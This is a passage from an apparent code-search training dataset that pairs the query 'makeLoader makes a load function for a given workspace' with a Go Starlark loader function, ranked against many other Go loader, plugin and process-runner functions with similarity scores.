true},\n\t\t{OTHER_ERR, false, false},\n\t\t{FINE, true, true},\n\t}\n\tfor _, test := range tests {\n\t\tfound, err := AlluxioFileUtils{log: NullLogger{}}.IsExist(test.in)\n\t\tif found != test.out {\n\t\t\tt.Errorf(\"input parameter is %s,expected %t, got %t\", test.in, test.out, found)\n\t\t}\n\t\tvar noErr bool = (err == nil)\n\t\tif test.noErr != noErr {\n\t\t\tt.Errorf(\"input parameter is %s,expected noerr is %t\", test.in, test.noErr)\n\t\t}\n\t}\n}", "func shellExecutor(rootCmd *cobra.Command, printer *Printer, meta *meta) func(s string) {\n\treturn func(s string) {\n\t\targs := strings.Fields(s)\n\n\t\tsentry.AddCommandContext(strings.Join(removeOptions(args), \" \"))\n\n\t\trootCmd.SetArgs(meta.CliConfig.Alias.ResolveAliases(args))\n\n\t\terr := rootCmd.Execute()\n\t\tif err != nil {\n\t\t\tif _, ok := err.(*interactive.InterruptError); ok {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tprintErr := printer.Print(err, nil)\n\t\t\tif printErr != nil {\n\t\t\t\t_, _ = fmt.Fprintln(os.Stderr, err)\n\t\t\t}\n\n\t\t\treturn\n\t\t}\n\n\t\t// command is nil if it does not have a Run function\n\t\t// ex: instance -h\n\t\tif meta.command == nil {\n\t\t\treturn\n\t\t}\n\n\t\tautoCompleteCache.Update(meta.command.Namespace)\n\n\t\tprintErr := printer.Print(meta.result, meta.command.getHumanMarshalerOpt())\n\t\tif printErr != nil {\n\t\t\t_, _ = fmt.Fprintln(os.Stderr, printErr)\n\t\t}\n\t}\n}", "func (exe *Executable) run(ctx context.Context) error {\n\tcmd := exec.Command(exe.Command, exe.Args...)\n\tfor _, param := range os.Environ() {\n\t\tcmd.Env = append(cmd.Env, param)\n\t}\n\tif exe.Environment != nil {\n\t\tfor k, v := range exe.Environment {\n\t\t\tcmd.Env = append(cmd.Env, k+\"=\"+v)\n\t\t}\n\t}\n\tfor _, fileName := range exe.EnvFiles {\n\t\tparams, err := ParseEnvironmentFile(fileName)\n\t\tif err != nil {\n\t\t\texe.logger().Println(\"failed parse environment file\", fileName, \":\", err)\n\t\t\tcontinue\n\t\t}\n\t\tfor k, v := range params {\n\t\t\tcmd.Env = append(cmd.Env, k+\"=\"+v)\n\t\t}\n\t}\n\tif exe.WorkDir != \"\" {\n\t\tcmd.Dir = exe.WorkDir\n\t}\n\n\tsetAttrs(cmd)\n\n\tvar outputs []io.Writer\n\tvar stderr []io.Writer\n\tvar stdout []io.Writer\n\n\toutput := NewLoggerStream(exe.logger(), \"out:\")\n\toutputs = append(outputs, output)\n\tdefer output.Close()\n\tstderr = outputs\n\tstdout = outputs\n\n\tif exe.RawOutput {\n\t\tstdout = append(stdout, os.Stdout)\n\t}\n\n\tres := make(chan error, 1)\n\n\tif exe.LogFile != \"\" {\n\t\tpth, _ := filepath.Abs(exe.LogFile)\n\t\tif pth != exe.LogFile {\n\t\t\t// relative\n\t\t\twd, _ := filepath.Abs(exe.WorkDir)\n\t\t\texe.LogFile = filepath.Join(wd, exe.LogFile)\n\t\t}\n\t\tlogFile, err := os.OpenFile(exe.LogFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)\n\t\tif err != nil {\n\t\t\texe.logger().Println(\"Failed open log file:\", err)\n\t\t} else {\n\t\t\tdefer logFile.Close()\n\t\t\toutputs = append(outputs, logFile)\n\t\t}\n\t}\n\n\tlogStderrStream := io.MultiWriter(stderr...)\n\tlogStdoutStream := io.MultiWriter(stdout...)\n\n\tcmd.Stderr = logStderrStream\n\tcmd.Stdout = logStdoutStream\n\n\terr := cmd.Start()\n\tif err == nil {\n\t\texe.logger().Println(\"Started with PID\", cmd.Process.Pid)\n\t} else {\n\t\texe.logger().Println(\"Failed start `\", exe.Command, strings.Join(exe.Args, \" \"), \"` :\", err)\n\t}\n\n\tgo func() { res <- cmd.Wait() }()\n\tselect {\n\tcase <-ctx.Done():\n\t\terr = exe.stopOrKill(cmd, res)\n\tcase err = <-res:\n\t}\n\treturn err\n}", "func invokeHook(fn func() error) error {\n\tif fn != nil {\n\t\treturn fn()\n\t}\n\n\treturn nil\n}", "func execIgnored(_ int, p *gop.Context) {\n\targs := p.GetArgs(1)\n\tret := signal.Ignored(args[0].(os.Signal))\n\tp.Ret(1, ret)\n}" ]
[ "0.61863595", "0.5779893", "0.5621438", "0.5595492", "0.5352558", "0.5321938", "0.5251699", "0.5250164", "0.51723653", "0.5156635", "0.51070184", "0.49635878", "0.49388602", "0.49287337", "0.4891345", "0.48601392", "0.4854314", "0.48532167", "0.48241422", "0.4801963", "0.48007777", "0.4769042", "0.47531387", "0.47488782", "0.47343135", "0.47314602", "0.4724485", "0.47169468", "0.47158346", "0.47015604", "0.46962115", "0.4672405", "0.4662856", "0.4662764", "0.4654954", "0.46455973", "0.46307912", "0.46289474", "0.46216023", "0.4596078", "0.4594698", "0.4594484", "0.45936376", "0.4574558", "0.4569037", "0.45676017", "0.45572653", "0.4555664", "0.45484236", "0.45446736", "0.45401302", "0.45394185", "0.45349583", "0.45335686", "0.4533362", "0.45307085", "0.45293185", "0.45262048", "0.45237496", "0.4517161", "0.4516325", "0.45154417", "0.45076832", "0.45074394", "0.45072898", "0.45071954", "0.45015475", "0.4499964", "0.44998035", "0.44977334", "0.4491607", "0.44829738", "0.44810176", "0.44786653", "0.44758627", "0.4475644", "0.4473417", "0.44705358", "0.44671863", "0.44622135", "0.4459994", "0.4456414", "0.44552782", "0.44536927", "0.44512245", "0.4450867", "0.4450509", "0.44460276", "0.4441708", "0.4441675", "0.44405368", "0.4438524", "0.44344264", "0.4431847", "0.44309628", "0.44300872", "0.44299284", "0.4429677", "0.4429366", "0.44251296" ]
0.47201166
27
makeLoader makes a load function for a given workspace.
func makeLoader(root string, packages map[string]string) loadFunc { return makeLoaderHelper( root, packages, map[string]*cacheEntry{}, starlark.StringDict{ "target": builtinWrapper("target", starlarkTarget), "sub": builtinWrapper("sub", starlarkSub), "path": builtinWrapper("path", starlarkPath), "glob": builtinWrapper("glob", starlarkGlob), }, ) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func makeLoad(workingDir string) func(thread *starlark.Thread, module string) (starlark.StringDict, error) {\n\tf := repl.MakeLoad()\n\n\treturn func(thread *starlark.Thread, module string) (starlark.StringDict, error) {\n\t\t// To ensure config generation is hermetic we require that all loads specify a module\n\t\t// with an explicit relative path.\n\t\tif !isExplicitRelativePath(module) {\n\t\t\treturn nil, fmt.Errorf(\n\t\t\t\t\"cannot load '%s', path to module must be relative (ie begin with ./ or ../)\",\n\t\t\t\tmodule,\n\t\t\t)\n\t\t}\n\n\t\tpath, err := filepath.Abs(filepath.Join(workingDir, module))\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"failed to get absolute path to %s\", module)\n\t\t}\n\n\t\treturn f(thread, path)\n\t}\n}", "func MakeLoad() func(thread *starlark.Thread, module string) (starlark.StringDict, error) {\n\ttype entry struct {\n\t\tglobals starlark.StringDict\n\t\terr error\n\t}\n\n\tvar cache = make(map[string]*entry)\n\n\treturn func(thread *starlark.Thread, module string) (starlark.StringDict, error) {\n\t\te, ok := cache[module]\n\t\tif e == nil {\n\t\t\tif ok {\n\t\t\t\t// request for package whose loading is in progress\n\t\t\t\treturn nil, fmt.Errorf(\"cycle in load graph\")\n\t\t\t}\n\n\t\t\t// Add a placeholder to indicate \"load in progress\".\n\t\t\tcache[module] = nil\n\n\t\t\t// Load it.\n\t\t\tthread := &starlark.Thread{Name: \"exec \" + module, Load: thread.Load}\n\t\t\tglobals, err := starlark.ExecFile(thread, module, nil, nil)\n\t\t\te = &entry{globals, err}\n\n\t\t\t// Update the cache.\n\t\t\tcache[module] = e\n\t\t}\n\t\treturn e.globals, e.err\n\t}\n}", "func NewLoader(cfg *config.SubTaskConfig, cli *clientv3.Client, workerName string) *Loader {\n\tloader := &Loader{\n\t\tcfg: cfg,\n\t\tcli: cli,\n\t\tdb2Tables: make(map[string]Tables2DataFiles),\n\t\ttableInfos: make(map[string]*tableInfo),\n\t\tworkerWg: new(sync.WaitGroup),\n\t\tlogger: log.With(zap.String(\"task\", cfg.Name), zap.String(\"unit\", \"load\")),\n\t\tworkerName: workerName,\n\t}\n\tloader.fileJobQueueClosed.Store(true) // not open yet\n\treturn loader\n}", "func NewLoader(st *State, api *API) *Loader {\n\treturn &Loader{\n\t\tS: st,\n\t\tA: api,\n\t}\n}", "func Loader(state *lua.LState) int {\n\tmod := state.SetFuncs(state.NewTable(), map[string]lua.LGFunction{\n\t\t\"compile\": func(L *lua.LState) int {\n\t\t\tcode := L.CheckString(1)\n\n\t\t\tluaCode, err := Compile(L, code)\n\t\t\tif err != nil {\n\t\t\t\tstate.Push(lua.LNil)\n\t\t\t\tstate.Push(lua.LString(err.Error()))\n\n\t\t\t\treturn 2\n\t\t\t}\n\n\t\t\tL.Push(lua.LString(luaCode))\n\t\t\treturn 1\n\t\t},\n\t})\n\n\t// returns the module\n\tstate.Push(mod)\n\treturn 1\n}", "func NewLoader(opts LoaderOptions) *Loader {\n\tvar (\n\t\tglobals = opts.ComponentGlobals\n\t\tservices = opts.Services\n\t\thost = opts.Host\n\t\treg = opts.ComponentRegistry\n\t)\n\n\tif reg == nil {\n\t\treg = DefaultComponentRegistry{}\n\t}\n\n\tl := &Loader{\n\t\tlog: log.With(globals.Logger, \"controller_id\", globals.ControllerID),\n\t\ttracer: tracing.WrapTracerForLoader(globals.TraceProvider, globals.ControllerID),\n\t\tglobals: globals,\n\t\tservices: services,\n\t\thost: host,\n\t\tcomponentReg: reg,\n\n\t\tgraph: &dag.Graph{},\n\t\toriginalGraph: &dag.Graph{},\n\t\tcache: newValueCache(),\n\t\tcm: newControllerMetrics(globals.ControllerID),\n\t}\n\tl.cc = newControllerCollector(l, globals.ControllerID)\n\n\tif globals.Registerer != nil {\n\t\tglobals.Registerer.MustRegister(l.cc)\n\t\tglobals.Registerer.MustRegister(l.cm)\n\t}\n\n\treturn l\n}", "func Loader(config map[string]interface{}) (go2chef.Source, error) {\n\ts := &Source{\n\t\tlogger: go2chef.GetGlobalLogger(),\n\t\tSourceName: \"\",\n\t}\n\tif err := mapstructure.Decode(config, s); err != nil {\n\t\treturn nil, err\n\t}\n\tif s.SourceName == \"\" {\n\t\ts.SourceName = TypeName\n\t}\n\t// default to using the secret id as the filename if one wasn't provided\n\tif s.FileName == \"\" {\n\t\ts.FileName = s.SecretId\n\t}\n\treturn s, nil\n}", "func NewLoader(r *proxy.Register) *Loader {\n\treturn &Loader{Register: r}\n}", "func (l *loader) loadFunc() build.LoadFunc {\n\n\treturn func(pos token.Pos, path string) *build.Instance {\n\t\tcfg := l.cfg\n\n\t\timpPath := importPath(path)\n\t\tif isLocalImport(path) {\n\t\t\treturn cfg.newErrInstance(pos, impPath,\n\t\t\t\terrors.Newf(pos, \"relative import paths not allowed (%q)\", path))\n\t\t}\n\n\t\t// is it a builtin?\n\t\tif strings.IndexByte(strings.Split(path, \"/\")[0], '.') == -1 {\n\t\t\tif l.cfg.StdRoot != \"\" {\n\t\t\t\tp := cfg.newInstance(pos, impPath)\n\t\t\t\t_ = l.importPkg(pos, p)\n\t\t\t\treturn p\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\n\t\tp := cfg.newInstance(pos, impPath)\n\t\t_ = l.importPkg(pos, p)\n\t\treturn p\n\t}\n}", "func NewLoader(caller MinimalFaultDisputeGameCaller) *loader {\n\treturn &loader{\n\t\tcaller: caller,\n\t}\n}", "func (m *Runtime) GetLoader(_ modules.Job) lua.LGFunction {\n\treturn func() lua.LGFunction {\n\t\treturn func(luaState *lua.LState) int {\n\t\t\tvar exports = map[string]lua.LGFunction{\n\t\t\t\t\"logLevel\": m.returnString(m.flg.LogLevel),\n\t\t\t\t\"isDebug\": m.returnBool(m.flg.Debug),\n\t\t\t\t\"isOnce\": m.returnBool(m.flg.Once),\n\t\t\t\t\"withScript\": m.returnString(m.flg.Script),\n\t\t\t\t\"configSource\": m.returnString(m.flg.ConfigFilePath),\n\t\t\t\t\"safeMode\": m.returnBool(m.flg.SafeMode),\n\t\t\t}\n\n\t\t\tmod := luaState.SetFuncs(luaState.NewTable(), exports)\n\n\t\t\tluaState.Push(mod)\n\t\t\treturn 1\n\t\t}\n\t}()\n}", "func NewLoader(ctx context.Context, log *logrus.Entry, ds datasource.Datasourcer) (*KaminoYAMLLoader, error) {\n\tlogFile := log.WithField(\"datasource\", ds.GetName())\n\n\tfile, err := ds.OpenReadFile(logFile)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlogFile.Debug(\"Reading the YAML file to be able to parse it\")\n\n\tbyteValue, err := ioutil.ReadAll(file)\n\tif err != nil {\n\t\tlogFile.Error(\"Reading the YAML file failed\")\n\t\tlogFile.Error(err)\n\n\t\treturn nil, err\n\t}\n\n\ttv := ds.FillTmplValues()\n\tk := KaminoYAMLLoader{ds: ds, file: file, name: tv.FilePath, content: nil, currentRow: 0}\n\tk.content = make([]map[string]string, 0)\n\n\terr = yaml.Unmarshal(byteValue, &k.content)\n\tif err != nil {\n\t\tlogFile.Error(\"Parsing the YAML file failed\")\n\t\tlogFile.Error(err)\n\n\t\treturn nil, err\n\t}\n\n\treturn &k, nil\n}", "func (f *ring2Factory) PluginLoader() plugins.PluginLoader {\n\treturn f.kubeBuilderFactory.PluginLoader()\n}", "func SpecLoader(specFileOrDirs []string, createBlkTxTables bool) (*Projection, error) {\n\tvar projection *Projection\n\tvar err error\n\n\tif len(specFileOrDirs) == 0 {\n\t\treturn nil, fmt.Errorf(\"please provide a spec file or directory\")\n\t}\n\n\tprojection, err = NewProjectionFromFolder(specFileOrDirs...)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error parsing spec: %v\", err)\n\t}\n\n\tif createBlkTxTables {\n\t\t// add block & tx to tables definition\n\t\tblkTxTables := getBlockTxTablesDefinition()\n\n\t\tfor k, v := range blkTxTables {\n\t\t\tprojection.Tables[k] = v\n\t\t}\n\n\t}\n\n\treturn projection, nil\n}", "func NewLoader(dimension *Dimension, x, z int32) *Loader {\n\treturn &Loader{dimension, x, z, func(chunk *chunks.Chunk) {}, func(chunk *chunks.Chunk) {}, func(){}, sync.RWMutex{}, make(map[int]*chunks.Chunk), make(map[int]bool), make(map[int]bool)}\n}", "func NewLoader(basepath string, downloader Downloader, logger logger) Loader {\n\treturn Loader{\n\t\tapi: downloader,\n\t\troot: basepath,\n\t\tlog: logger,\n\t}\n}", "func (gp *GenginePool) PluginLoader(absolutePathOfSO string) error {\n\tgp.updateLock.Lock()\n\tdefer gp.updateLock.Unlock()\n\n\tapiName, exportApi, e := gp.ruleBuilder.Dc.PluginLoader(absolutePathOfSO)\n\tif e != nil {\n\t\treturn e\n\t}\n\n\tfor _, rb := range gp.rbSlice {\n\t\trb.Dc.Add(apiName, exportApi)\n\t}\n\treturn nil\n}", "func NewLoader(config *config.Config) Loader {\n\treturn &diskLoader{config}\n}", "func BuildLoader(i LoaderInput) ([]byte, error) {\n\tmethods, err := parsePackage(&i)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfindTableName(&i)\n\tfindOrderKey(&i)\n\n\treturn buildDataLoaderContent(&i, methods), nil\n}", "func NewLoadManager(suiteCfg *SuiteConfig, genCfg *GeneratorConfig) *LoadManager {\n\tvar err error\n\tcsvLog := csv.NewWriter(createFileOrAppend(\"result.csv\"))\n\tscalingLog := csv.NewWriter(createFileOrAppend(\"scaling.csv\"))\n\n\tlm := &LoadManager{\n\t\tSuiteConfig: suiteCfg,\n\t\tGeneratorConfig: genCfg,\n\t\tCsvMu: &sync.Mutex{},\n\t\tCSVLogMu: &sync.Mutex{},\n\t\tCSVLog: csvLog,\n\t\tRPSScalingLog: scalingLog,\n\t\tSteps: make([]RunStep, 0),\n\t\tReports: make(map[string]*RunReport),\n\t\tCsvStore: make(map[string]*CSVData),\n\t\tDegradation: false,\n\t}\n\tif lm.ReportDir, err = filepath.Abs(filepath.Join(\"example_loadtest\", \"reports\")); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn lm\n}", "func Loader(fs afero.Fs, name string) (ContentLoader, error) {\n\tfi, err := fs.Stat(name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Is directory\n\tif fi.IsDir() {\n\t\treturn &DirLoader{\n\t\t\tfs: fs,\n\t\t\tname: name,\n\t\t}, nil\n\t}\n\n\treturn nil, fmt.Errorf(\"only directory is supported as content loader\")\n}", "func NewLoader(providers ...ProviderFunc) *Loader {\n\tl := &Loader{\n\t\tenvPrefix: \"APP\",\n\t\tdirs: []string{\".\", \"./config\"},\n\t\tlookUp: os.LookupEnv,\n\t}\n\n\t// Order is important: we want users to be able to override static provider\n\tl.RegisterProviders(l.YamlProvider())\n\tl.RegisterProviders(providers...)\n\n\treturn l\n}", "func NewLoaderFunc(hosts []string) Loader {\n\treturn func(load chan<- HostStatus) {\n\t\tfor _, host := range hosts {\n\t\t\tload <- HostStatus{host, false}\n\t\t}\n\t}\n}", "func (h *HTTP) GetLoader(_ modules.Job) lua.LGFunction {\n\treturn func() lua.LGFunction {\n\t\treturn func(luaState *lua.LState) int {\n\t\t\tvar exports = map[string]lua.LGFunction{\n\t\t\t\t\"request\": h.request,\n\t\t\t\t\"post\": h.send(http.MethodPost),\n\t\t\t\t\"get\": h.send(http.MethodGet),\n\t\t\t\t\"put\": h.send(http.MethodPut),\n\t\t\t\t\"delete\": h.send(http.MethodDelete),\n\t\t\t}\n\n\t\t\tmod := luaState.SetFuncs(luaState.NewTable(), exports)\n\n\t\t\tmod.RawSetString(\"methodGet\", lua.LString(http.MethodGet))\n\t\t\tmod.RawSetString(\"methodHead\", lua.LString(http.MethodHead))\n\t\t\tmod.RawSetString(\"methodPost\", lua.LString(http.MethodPost))\n\t\t\tmod.RawSetString(\"methodPut\", lua.LString(http.MethodPut))\n\t\t\tmod.RawSetString(\"methodPatch\", lua.LString(http.MethodPatch))\n\t\t\tmod.RawSetString(\"methodDelete\", lua.LString(http.MethodDelete))\n\t\t\tmod.RawSetString(\"methodConnect\", lua.LString(http.MethodConnect))\n\t\t\tmod.RawSetString(\"methodOptions\", lua.LString(http.MethodOptions))\n\t\t\tmod.RawSetString(\"methodTrace\", lua.LString(http.MethodTrace))\n\n\t\t\tluaState.Push(mod)\n\t\t\treturn 1\n\t\t}\n\t}()\n}", "func NewLoader(c *config.Config) (*Loader, error) {\n\tif c == nil {\n\t\treturn nil, errors.New(\"cannot create loader - config was nil\")\n\t}\n\n\terr := c.Validate()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot create loader - invalid config: %v\", err)\n\t}\n\n\treturn &Loader{\n\t\tconfig: c,\n\t\troot: ecsgen.NewRoot(),\n\t}, nil\n}", "func NewAPILoader(register *proxy.Register) *APILoader {\n\treturn &APILoader{register: register}\n}", "func loadWorkspace(workspaceFile string) (*build.File, error) {\n\tdata, err := ioutil.ReadFile(workspaceFile)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn build.Parse(workspaceFile, data)\n}", "func (dc *DataContext) PluginLoader(absolutePathOfSO string) (string, plugin.Symbol, error) {\n\n\tplg, err := plugin.Open(absolutePathOfSO)\n\tif err != nil {\n\t\treturn \"\", nil, err\n\t}\n\n\t_, file := filepath.Split(absolutePathOfSO)\n\tif path.Ext(file) != \".so\" {\n\t\treturn \"\", nil, errors.New(fmt.Sprintf(\"%s is not a plugin file\", absolutePathOfSO))\n\t}\n\n\tfileWithOutExt := strings.ReplaceAll(file, \".so\", \"\")\n\n\tsplits := strings.Split(fileWithOutExt, \"_\")\n\tif len(splits) != 3 || !strings.HasPrefix(file, \"plugin_\") {\n\t\treturn \"\", nil, errors.New(fmt.Sprintf(\"the plugin file name(%s) is not fit for need! \", absolutePathOfSO))\n\t}\n\n\texportName := splits[1]\n\tapiName := splits[2]\n\n\texportApi, err := plg.Lookup(exportName)\n\tif err != nil {\n\t\treturn \"\", nil, err\n\t}\n\n\tdc.lockBase.Lock()\n\tdefer dc.lockBase.Unlock()\n\n\tdc.base[apiName] = reflect.ValueOf(exportApi)\n\treturn apiName, exportApi, nil\n}", "func NewAPILoader(register *proxy.Register) *APILoader {\n\treturn &APILoader{register}\n}", "func protoLoader() interpreter.Loader {\n\tmapping := make(map[string]string, len(publicProtos))\n\tfor path, proto := range publicProtos {\n\t\tmapping[path] = proto.goPath\n\t}\n\treturn interpreter.ProtoLoader(mapping)\n}", "func newPrologLoadFuncDecl(ident string, prologVarSpec *dst.ValueSpec) *dst.FuncDecl {\n\tprologVarName := prologVarSpec.Names[0].Name\n\tprologVarType := prologVarSpec.Type\n\tretType := dst.Clone(prologVarType).(dst.Expr)\n\tretCastType := dst.Clone(prologVarType).(dst.Expr)\n\n\treturn &dst.FuncDecl{\n\t\tName: dst.NewIdent(ident),\n\t\tType: &dst.FuncType{\n\t\t\tParams: &dst.FieldList{},\n\t\t\tResults: &dst.FieldList{\n\t\t\t\tList: []*dst.Field{\n\t\t\t\t\t{\n\t\t\t\t\t\tType: retType,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tBody: &dst.BlockStmt{\n\t\t\tList: []dst.Stmt{\n\t\t\t\t&dst.ReturnStmt{\n\t\t\t\t\tResults: []dst.Expr{\n\t\t\t\t\t\t&dst.CallExpr{\n\t\t\t\t\t\t\tFun: retCastType,\n\t\t\t\t\t\t\tArgs: []dst.Expr{\n\t\t\t\t\t\t\t\t&dst.CallExpr{\n\t\t\t\t\t\t\t\t\tFun: dst.NewIdent(sqreenAtomicLoadPointerFuncIdent),\n\t\t\t\t\t\t\t\t\tArgs: []dst.Expr{\n\t\t\t\t\t\t\t\t\t\tnewCastValueExpr(\n\t\t\t\t\t\t\t\t\t\t\tnewSqreenUnsafePointerType(),\n\t\t\t\t\t\t\t\t\t\t\tnewIdentAddressExpr(dst.NewIdent(prologVarName))),\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n}", "func makeResource(mod string, res string) tokens.Type {\n\tfn := string(unicode.ToLower(rune(res[0]))) + res[1:]\n\treturn makeType(mod+\"/\"+fn, res)\n}", "func NewLoader() Loader {\n\treturn &baseLoader{client: http.DefaultClient}\n}", "func NewLoader(config *Config) *AggregateLoader {\n\tloaders := []loader{\n\t\t{\n\t\t\tload: loadProducts,\n\t\t\tfiles: config.ProductFiles,\n\t\t\tscopes: config.Scopes,\n\t\t},\n\t\t{\n\t\t\tload: loadApplications,\n\t\t\tfiles: config.AppFiles,\n\t\t\tscopes: config.Scopes,\n\t\t},\n\t\t{\n\t\t\tload: loadInstances,\n\t\t\tfiles: config.InstFiles,\n\t\t\tscopes: config.Scopes,\n\t\t},\n\t\t{\n\t\t\tload: loadAcquiredRights,\n\t\t\tfiles: config.AcqRightsFiles,\n\t\t\tscopes: config.Scopes,\n\t\t},\n\t\t{\n\t\t\tload: loadUsers,\n\t\t\tfiles: config.UsersFiles,\n\t\t\tscopes: config.Scopes,\n\t\t},\n\t}\n\treturn &AggregateLoader{\n\t\tloaders: loaders,\n\t\tconfig: config,\n\t}\n}", "func (self *Build) load(ctx core.Context, moduleLabel core.Label) (starlark.StringDict, error) {\n\t// Only .bzl files can ever be loaded.\n\tif filepath.Ext(string(moduleLabel.Target)) != \".bzl\" {\n\t\treturn nil, fmt.Errorf(\"%v: load not allowed: %v is not a .bzl file\", ctx.Label(),\n\t\t\tmoduleLabel)\n\t}\n\tmoduleLabelString := moduleLabel.String()\n\n\te, ok := self.loadCache[moduleLabelString]\n\tif ok {\n\t\tif e == nil {\n\t\t\treturn nil, fmt.Errorf(\"%v: load of %v failed: cycle in load graph\",\n\t\t\t\tctx.Label(), moduleLabel)\n\t\t}\n\t\treturn e.globals, e.err\n\t}\n\n\tsourceData, err := self.sourceFileReader(moduleLabel)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%v: load of %v failed: read failed: %v\", ctx.Label(),\n\t\t\tmoduleLabel, err)\n\t}\n\n\tself.loadCache[moduleLabelString] = nil\n\n\tthread := createThread(self, moduleLabel, core.FileTypeBzl)\n\tglobals, err := starlark.ExecFile(thread, moduleLabelString, sourceData,\n\t\tbuiltins.InitialGlobals(core.FileTypeBzl))\n\tself.loadCache[moduleLabelString] = &loadCacheEntry{globals, err}\n\treturn globals, err\n}", "func NewLoader() *Loader {\n\treturn &Loader{cache: map[string]json.Value{}}\n}", "func NewLightning(cfg *config.SubTaskConfig, cli *clientv3.Client, workerName string) *LightningLoader {\n\tlightningCfg := makeGlobalConfig(cfg)\n\tcore := lightning.New(lightningCfg)\n\tloader := &LightningLoader{\n\t\tcfg: cfg,\n\t\tcli: cli,\n\t\tcore: core,\n\t\tlightningConfig: lightningCfg,\n\t\tlogger: log.With(zap.String(\"task\", cfg.Name), zap.String(\"unit\", \"lightning-load\")),\n\t\tworkerName: workerName,\n\t}\n\treturn loader\n}", "func (tfl tiltfileLoader) Load(ctx context.Context, tf *corev1alpha1.Tiltfile, prevResult *TiltfileLoadResult) TiltfileLoadResult {\n\tstart := time.Now()\n\tfilename := tf.Spec.Path\n\tabsFilename, err := ospath.RealAbs(tf.Spec.Path)\n\tif err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\treturn TiltfileLoadResult{\n\t\t\t\tConfigFiles: []string{filename},\n\t\t\t\tError: fmt.Errorf(\"No Tiltfile found at paths '%s'. Check out https://docs.tilt.dev/tutorial.html\", filename),\n\t\t\t}\n\t\t}\n\t\tabsFilename, _ = filepath.Abs(filename)\n\t\treturn TiltfileLoadResult{\n\t\t\tConfigFiles: []string{absFilename},\n\t\t\tError: err,\n\t\t}\n\t}\n\n\ttiltignorePath := watch.TiltignorePath(absFilename)\n\ttlr := TiltfileLoadResult{\n\t\tConfigFiles: []string{absFilename, tiltignorePath},\n\t}\n\n\ttiltignore, err := watch.ReadTiltignore(tiltignorePath)\n\n\t// missing tiltignore is fine, but a filesystem error is not\n\tif err != nil {\n\t\ttlr.Error = err\n\t\treturn tlr\n\t}\n\n\ttlr.Tiltignore = tiltignore\n\n\ts := newTiltfileState(ctx, tfl.dcCli, tfl.webHost, tfl.execer, tfl.k8sContextPlugin, tfl.versionPlugin,\n\t\ttfl.configPlugin, tfl.extensionPlugin, tfl.ciSettingsPlugin, feature.FromDefaults(tfl.fDefaults))\n\n\tmanifests, result, err := s.loadManifests(tf)\n\n\ttlr.BuiltinCalls = result.BuiltinCalls\n\ttlr.DefaultRegistry = s.defaultReg\n\n\t// All data models are loaded with GetState. We ignore the error if the state\n\t// isn't properly loaded. This is necessary for handling partial Tiltfile\n\t// execution correctly, where some state is correctly assembled but other\n\t// state is not (and should be assumed empty).\n\tws, _ := watch.GetState(result)\n\ttlr.WatchSettings = ws\n\n\t// NOTE(maia): if/when add secret settings that affect the engine, add them to tlr here\n\tss, _ := secretsettings.GetState(result)\n\ts.secretSettings = ss\n\n\tioState, _ := io.GetState(result)\n\n\ttlr.ConfigFiles = append(tlr.ConfigFiles, ioState.Paths...)\n\ttlr.ConfigFiles = append(tlr.ConfigFiles, s.postExecReadFiles...)\n\ttlr.ConfigFiles = sliceutils.DedupedAndSorted(tlr.ConfigFiles)\n\n\tdps, _ := dockerprune.GetState(result)\n\ttlr.DockerPruneSettings = dps\n\n\taSettings, _ := tiltfileanalytics.GetState(result)\n\ttlr.AnalyticsOpt = aSettings.Opt\n\n\ttlr.Secrets = s.extractSecrets()\n\ttlr.FeatureFlags = s.features.ToEnabled()\n\ttlr.Error = err\n\ttlr.Manifests = manifests\n\ttlr.TeamID = s.teamID\n\n\tobjectSet, _ := v1alpha1.GetState(result)\n\ttlr.ObjectSet = objectSet\n\n\tvs, _ := version.GetState(result)\n\ttlr.VersionSettings = vs\n\n\ttelemetrySettings, _ := telemetry.GetState(result)\n\ttlr.TelemetrySettings = telemetrySettings\n\n\tus, _ := updatesettings.GetState(result)\n\ttlr.UpdateSettings = us\n\n\tci, _ := cisettings.GetState(result)\n\ttlr.CISettings = ci\n\n\tconfigSettings, _ := config.GetState(result)\n\tif tlr.Error == nil {\n\t\ttlr.EnabledManifests, tlr.Error = configSettings.EnabledResources(tf, manifests)\n\t}\n\n\tduration := time.Since(start)\n\tif tlr.Error == nil {\n\t\ts.logger.Infof(\"Successfully loaded Tiltfile (%s)\", duration)\n\t}\n\textState, _ := tiltextension.GetState(result)\n\thashState, _ := hasher.GetState(result)\n\n\tvar prevHashes hasher.Hashes\n\tif prevResult != nil {\n\t\tprevHashes = prevResult.Hashes\n\t}\n\ttlr.Hashes = hashState.GetHashes()\n\n\ttfl.reportTiltfileLoaded(s.builtinCallCounts, s.builtinArgCounts, duration,\n\t\textState.ExtsLoaded, prevHashes, tlr.Hashes)\n\n\tif len(aSettings.CustomTagsToReport) > 0 {\n\t\treportCustomTags(tfl.analytics, aSettings.CustomTagsToReport)\n\t}\n\n\treturn tlr\n}", "func (f *ring2Factory) PluginLoader() plugins.PluginLoader {\n\tif len(os.Getenv(\"KUBECTL_PLUGINS_PATH\")) > 0 {\n\t\treturn plugins.KubectlPluginsPathPluginLoader()\n\t}\n\treturn plugins.TolerantMultiPluginLoader{\n\t\tplugins.XDGDataDirsPluginLoader(),\n\t\tplugins.UserDirPluginLoader(),\n\t}\n}", "func (l *loaderImpl) New(newRoot string) (Loader, error) {\n\tscheme, err := l.getSchemeLoader(newRoot)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\troot, err := scheme.FullLocation(l.root, 